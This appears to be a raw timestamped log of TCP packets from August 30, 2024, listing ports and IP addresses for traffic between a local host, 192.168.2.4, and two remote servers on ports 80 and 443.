Aug 30, 2024 06:17:05.818042994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818202019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818212032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818221092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818228960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818237066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818248034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818258047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818258047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818258047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818269014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818279982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818280935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818303108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818315983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818355083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818507910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.821762085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.821794033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.821808100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.821827888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.821837902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.821877956 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.821964979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.821980000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.821994066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822005033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822006941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822015047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822021008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822022915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822033882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822042942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822050095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822055101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822063923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822072983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822078943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822079897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822089911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822098970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822108984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822112083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822122097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822130919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822133064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822144985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822148085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822154999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822158098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822165966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822175980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822184086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822190046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822213888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822231054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822268009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822278023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822285891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822307110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822310925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822323084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822335958 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822338104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822349072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822359085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822359085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822369099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822371960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822379112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822407961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822417974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822427988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822436094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822446108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822457075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822462082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822465897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822474957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822484970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822485924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822495937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822504044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822510004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822531939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822554111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822566032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822576046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822587013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822598934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822604895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822607040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822619915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822630882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822635889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822644949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822653055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822653055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822664022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822674990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822704077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822808981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822818995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822827101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822838068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822848082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822854042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822860956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822870970 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822870970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822880030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822882891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822890043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822899103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822909117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.822909117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822932959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.822948933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.862771034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.862799883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.862870932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.863056898 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863070965 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863125086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.863136053 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863174915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.863177061 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.863188028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.863199949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.863210917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.863219023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.863224030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.863262892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.863262892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.863281965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.863332033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.863519907 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863533974 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863574028 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.863584042 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863599062 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.863616943 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.863864899 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863879919 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863933086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.863940001 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.863975048 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.864360094 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.864379883 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.864422083 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.864428997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.864466906 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.864618063 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.864634991 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.864662886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.864670038 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.864695072 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.864708900 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.865081072 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865096092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865150928 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.865156889 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865194082 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.865351915 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865370035 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865437984 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.865446091 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865482092 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.865794897 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865808964 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865860939 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.865868092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.865905046 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.903892994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.903906107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.903918028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.903949022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.903949022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904038906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904056072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904068947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904079914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904084921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904097080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904107094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904114008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904117107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904129028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904139996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904150009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904151917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904151917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904161930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904177904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904184103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904189110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904195070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904200077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904211998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904222965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904259920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904259920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904259920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904289961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904304028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904314041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904346943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904377937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904387951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904388905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904400110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904412031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904422998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904439926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904439926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904454947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904541969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904552937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904563904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904575109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904582024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904591084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904603004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904608011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904613972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904624939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904633999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904633999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904649973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904661894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904666901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904714108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904714108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904825926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904836893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904846907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904856920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904866934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904867887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904881954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904891968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904891968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904891968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904903889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904917002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904927015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904938936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904942989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904942989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904961109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904963017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904973984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.904978991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904994011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.904998064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905034065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905049086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905057907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905102968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905102968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905138969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905149937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905160904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905172110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905181885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905188084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905188084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905225992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905235052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905235052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905236959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905246973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905282974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905292988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905308008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905318975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905329943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905342102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905353069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905364037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905373096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.905383110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905390978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.905416012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906699896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906712055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906723022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906758070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906760931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906775951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906789064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906797886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906815052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906845093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906850100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906860113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906893015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906903982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906915903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906941891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906965017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906975031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906987906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.906996965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.906999111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907010078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907027006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907052994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907109976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907121897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907131910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907141924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907152891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907160044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907166004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907171011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907181978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907190084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907195091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907219887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907244921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907258034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907270908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907299042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907299042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907347918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907358885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907368898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907380104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907390118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907411098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907419920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907449007 CEST	49735	80	192.168.2.4	147.45.44.104
